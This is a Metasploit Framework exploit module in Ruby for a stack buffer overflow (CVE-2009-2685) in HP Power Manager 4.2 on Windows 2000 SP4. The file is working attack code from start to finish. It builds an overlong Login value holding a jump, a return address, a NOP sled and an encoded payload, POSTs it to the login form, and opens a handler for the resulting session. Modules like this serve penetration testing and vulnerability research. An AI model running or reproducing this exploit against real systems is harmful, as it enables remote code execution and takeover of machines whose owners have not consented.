##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::Tcp  

  def initialize(info = {})
    super(update_info(info,  
      'Name'           => 'Hewlett-Packard Power Manager Administration Buffer Overflow.',
      'Description'    => %q{
          This module exploits a stack overflow in Hewlett-Packard Power Manager 4.2.
          Sending a specially crafted POST request with an overly long Login string, an
          attacker may be able to execute arbitrary code.
      },
      'Author'         => [ 'MC' ],
      'License'        => MSF_LICENSE,
      'Version'        => '$Revision: 7724 $',
      'References'     =>
        [
          [ 'CVE', '2009-2685' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
        },
      'Privileged'     => true,
      'Payload'        =>
        {
          'Space'    => 650,
          'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c&=+?:;-,/#.\\$%\x1a",
          'StackAdjustment' => -3500,
          'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
        },
      'Platform'       => 'win',
      'Targets'        => 
        [
          [ 'Windows 2000 SP4 English', { 'Ret' => 0x75022ac4 } ],
        ],
      'DefaultTarget'  => 0,      
      'DisclosureDate' => 'Nov 4 2009'))
      
      register_options( [ Opt::RPORT(80) ], self.class )

  end

  def exploit

    sploit = rand_text_alpha_upper(2024)

    sploit[633,2] = Rex::Arch::X86.jmp_short(24)
    sploit[635,4] = [target.ret].pack('V')
    sploit[639,32] = make_nops(32)
    sploit[671,payload.encoded.length] = payload.encoded
    
    data = "HtmlOnly=true&Login=" + sploit + "+passwd&Password=&loginButton=Submit+Login"

    req =  "POST /goform/formLogin HTTP/1.1\r\n"
    req << "Host: #{rhost}:#{rport}\r\n"
    req << "Content-Length: #{data.length}" + "\r\n\r\n" + data + "\r\n\r\n"

    connect

    print_status("Trying target #{target.name}...")
    sock.put(req)

    sleep(5)  
    handler
    disconnect
  end  
  
end